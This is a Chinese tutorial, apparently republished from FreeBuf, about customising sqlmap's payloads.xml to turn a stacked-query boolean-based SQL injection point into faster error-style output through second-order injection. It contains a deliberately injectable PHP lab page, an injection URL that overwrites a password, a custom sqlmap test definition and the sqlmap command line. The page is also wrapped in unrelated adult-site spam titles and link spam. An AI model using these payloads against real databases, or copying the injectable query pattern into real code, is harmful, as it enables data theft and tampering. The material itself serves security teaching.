成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Sqlmap進(jìn)階:定制payload加速boolean-based注入

安全 數(shù)據(jù)安全
本文主要向讀者介紹sqlmap的payloads自定義,以及如何基于它們,利用二階注入功能,讓boolean-based注入點(diǎn)轉(zhuǎn)化成error-based,加速測(cè)試過(guò)程。

文中提及的部分技術(shù)可能帶有一定攻擊性,僅供安全學(xué)習(xí)和教學(xué)用途,禁止非法使用。

大家在玩SQL注入的時(shí)候大概都遇到過(guò)一種特別雞肋的情況:目標(biāo)只有支持多語(yǔ)句查詢的boolean-based注入點(diǎn)(比如CVE-2014-3704)。我們很單純地想下載數(shù)據(jù)庫(kù),卻只能用sqlmap10線程一位一位獲取。這樣的龜速根本就是反人類!那邊跑著sqlmap這邊還不能溜掉,說(shuō)不定就要你按個(gè)“Y”。

不過(guò),既然支持多語(yǔ)句就有另一種思路可以提速:把注入語(yǔ)句的執(zhí)行結(jié)果update到另一個(gè)可見(jiàn)頁(yè)面上,這樣就可以直接獲取注入語(yǔ)句的輸出了。然而sqlmap本身并沒(méi)有這個(gè)功能。

Sqlmap進(jìn)階:定制payload加速boolean-based注入

 

本文主要向讀者介紹sqlmap的payloads自定義,以及如何基于它們,利用二階注入功能,讓boolean-based注入點(diǎn)轉(zhuǎn)化成error-based,加速測(cè)試過(guò)程。

實(shí)驗(yàn)環(huán)境搭建:

實(shí)驗(yàn)用數(shù)據(jù)庫(kù)是基于sqli靶機(jī)環(huán)境的

另有兩個(gè)php分別作為上圖中的頁(yè)面一和頁(yè)面二

test.php:

  1. <?php  
  2. function db_connect() {  
  3.     @ $db = new mysqli ( 'localhost''root''********''security' );  
  4.     // echo "out";  
  5.     if (mysqli_connect_errno ()) {  
  6.         echo "Error: Could not connect to database.  Please try again later.";  
  7.         return null;  
  8.     }  
  9.     return $db;  
  10. }  
  11. $db = db_connect ();  
  12. $id=$_GET['id'];  
  13. $query ="SELECT * FROM users WHERE id='$id' ;";  
  14. //echo $query;  
  15. $result = $db->multi_query( $query );  
  16. $result = $db->multi_query( 'select * from SLEEP(5)');  
  17. $result = $db->store_result();  
  18. //echo $num_results = $result->num_rows;  
  19. echo $result->fetch_assoc()['username'];  
  20. //echo $result->fetch_assoc ()['username'];  
  21. $db->close ();  
  22. ?> 

test1.php

  1. <?php  
  2. function db_connect() {  
  3.     @ $db = new mysqli ( 'localhost''root''********''security' );  
  4.     // echo "out";  
  5.     if (mysqli_connect_errno ()) {  
  6.         echo "Error: Could not connect to database.  Please try again later.";  
  7.         return null;  
  8.     }  
  9.     return $db;  
  10. }  
  11. $db = db_connect ();  
  12. $query ="SELECT * FROM users WHERE id='10' ;";  
  13. //echo $query;  
  14. $result = $db->query( $query );  
  15. echo $result->fetch_assoc()['password'];  
  16.  
  17. $db->close ();  
  18. ?> 

顯然test.php存在支持多語(yǔ)句執(zhí)行的SQL注入漏洞

Sqlmap進(jìn)階:定制payload加速boolean-based注入

于是我們請(qǐng)求

http://127.0.0.1/sqli/test.php?id=1%27;update%20users%20set%20password%20=%20%27freebuffreebuf%27%20where%20id%20=%20%2710

就成功修改了password字段

Sqlmap進(jìn)階:定制payload加速boolean-based注入

 

可見(jiàn)這種思路是可行的。

Sqlmap的修改:

首先,我們先了解sqlmap是如何工作的:

sqlmap啟動(dòng)后首先設(shè)置測(cè)試的level和risk,并識(shí)別受測(cè)試元素的類型

然后從它的配置文件xml/payloads.xml里面獲取應(yīng)該測(cè)試的漏洞類型、測(cè)試方法以及相應(yīng)的漏洞利用方案

在payloads.xml里面記錄了兩類數(shù)據(jù)(如果您聽(tīng)得云里霧里的,請(qǐng)看看我翻譯的payloads.xml說(shuō)明):

:用來(lái)使sql語(yǔ)句正確的前綴和后綴。比如前綴:"'"和后綴:"AND '[RANDSTR]'='[RANDSTR]"就可以閉合單引號(hào),防止出錯(cuò)。

:特定漏洞的全部信息,包括所用到的boundary,漏洞的level、risk,漏洞類型,利用的方法,檢測(cè)方法等。

在測(cè)試一個(gè)參數(shù)的時(shí)候sqlmap會(huì)遍歷所有符合要求的test節(jié)點(diǎn),使用request節(jié)點(diǎn)下的payload執(zhí)行漏洞掃描。

最后請(qǐng)求的內(nèi)容是(括號(hào)里只是舉例):

原參數(shù)

(id=1)+prefix (')+payload(AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a))+comment(注釋符這里沒(méi)有)+suffix(AND 'few'='few)

然后再用response節(jié)點(diǎn)下的某種檢測(cè)方式進(jìn)行檢測(cè)。

這里我們的思路的核心就是輸出明文,與error-based相似,因此使用error-based漏洞常使用的正則表達(dá)式進(jìn)行輸出的獲取:

  1. <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep> 

其中[DELIMITER_START]和[DELIMITER_STOP]是用來(lái)匹配輸出開(kāi)頭和結(jié)尾的隨機(jī)生成的字符串

想必payload應(yīng)該與之對(duì)應(yīng)

  1. <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload> 

這里請(qǐng)注意在error-based漏洞的檢測(cè)中sqlmap是用獲取的輸出(即在[DELIMITER_START]和[DELIMITER_STOP]之間的部分)為1來(lái)初步確定漏洞的存在的。

上述語(yǔ)句就把輸出的內(nèi)容UPDATE成了[DELIMITER_START]+"1"+[DELIMITER_STOP]使得此漏洞被檢測(cè)出存在。

檢測(cè)說(shuō)完了,說(shuō)說(shuō)利用:

利用的語(yǔ)句受vector節(jié)點(diǎn)控制,有了payload就可以對(duì)照寫出來(lái)了

  1. <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector> 

這里的[QUERY]就是執(zhí)行的漏洞利用語(yǔ)句,輸出還是會(huì)被正則獲取

于是就有了最終的自定義test

  1. <test>  
  2.         <title>MySQL Customized  update query based test </title>  
  3.         <stype>2</stype>  
  4.         <level>1</level>  
  5.         <risk>0</risk>  
  6.         <clause>1</clause>  
  7.         <where>1</where>  
  8.         <vector>;update users set password = CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') where id =</vector>  
  9.         <request>  
  10.             <payload>;update users set password = CONCAT('[DELIMITER_START]',1,'[DELIMITER_STOP]') where id = </payload>  
  11.         </request>  
  12.         <response>  
  13.             <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>  
  14.         </response>  
  15.         <details>  
  16.             <dbms>MySQL</dbms>  
  17.             <dbms_version>&gt;= 5.0.11</dbms_version>  
  18.         </details>  
  19.     </test> 

我們把這段代碼加入到payloads.xml里面(root節(jié)點(diǎn)里面哦),然后基于這個(gè)自定義的測(cè)試配置和二階SQL注入,寫我們的命令:

  1. sqlmap -u 127.0.0.1/sqli/test.php?id=1 --second-order test1.php -v 3 --level 1 --suffix "'10" 

請(qǐng)注意上述語(yǔ)句我重定義了后綴。

看看效果:

Sqlmap進(jìn)階:定制payload加速boolean-based注入

可用了!

至此,我們已經(jīng)成功讓一個(gè)慢得要死的boolean-based注入點(diǎn)進(jìn)化成為了確確實(shí)實(shí)人見(jiàn)人愛(ài)的error-based注入點(diǎn),媽媽再也不用注入速度太慢了~

快快dump一下來(lái)體會(huì)這速度帶來(lái)的快感吧。

P.S:多次對(duì)比過(guò)程中不要忘了刪掉sqlmap的本地緩存。

參考:sqlmap源代碼

本文作者:piece of the past,聯(lián)系方式:1005308775@qq.com

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2013-06-27 10:26:53

Sqlmap注入

2013-09-13 09:58:49

2019-07-05 08:12:36

SQLMAPsql注入

2017-05-02 09:02:14

2021-02-28 20:41:18

Vue注入Angular

2011-08-17 16:23:31

iPhone開(kāi)發(fā)UIViewContr

2022-08-30 09:24:47

數(shù)據(jù)算法

2011-08-17 16:29:12

iPhone開(kāi)發(fā)UIButton

2014-01-07 14:53:37

Android開(kāi)發(fā)依賴注入Roboguice

2009-07-22 15:21:00

iBATIS SQLM

2009-07-22 15:01:01

iBATIS SQLM

2023-05-10 14:57:13

UbuntuChromium

2009-06-29 10:34:49

網(wǎng)站加速Page SpeedGoogle

2020-08-18 16:58:17

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2014-09-28 14:53:39

滲透BurpSuiteSqlmap

2022-01-07 10:36:41

寧暢
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 国产成人精品999在线观看 | 免费国产视频 | 久久最新 | 亚洲精品在线视频 | 亚洲精品二三区 | 中文字幕动漫成人 | japanhd美女动 | 午夜大片 | 亚洲精品久久 | 日韩视频―中文字幕 | 国产精品18hdxxxⅹ在线 | 美日韩一区二区 | 国产91精品久久久久久久网曝门 | 精品av| 日本久久精品 | 久久精品久久久久久 | 不卡在线视频 | 久久青视频 | 亚洲日本国产 | 久久99精品久久久久久青青日本 | 国产美女自拍视频 | 精品一区二区三区在线视频 | 久久精品视频在线播放 | 久久精品国产亚洲一区二区三区 | 日本一道本视频 | 亚洲一区二区免费视频 | 午夜精品久久久 | 视频一区二区三区中文字幕 | 午夜合集 | 在线视频一区二区三区 | 亚洲精品片 | 欧美极品在线观看 | 红桃视频一区二区三区免费 | 久久亚洲一区二区 | 欧美大片久久久 | 先锋资源网 | 国产视频福利一区 | 九九在线视频 | 一区二区三区日韩精品 | 国内精品久久久久久久影视简单 | 亚洲激情一级片 |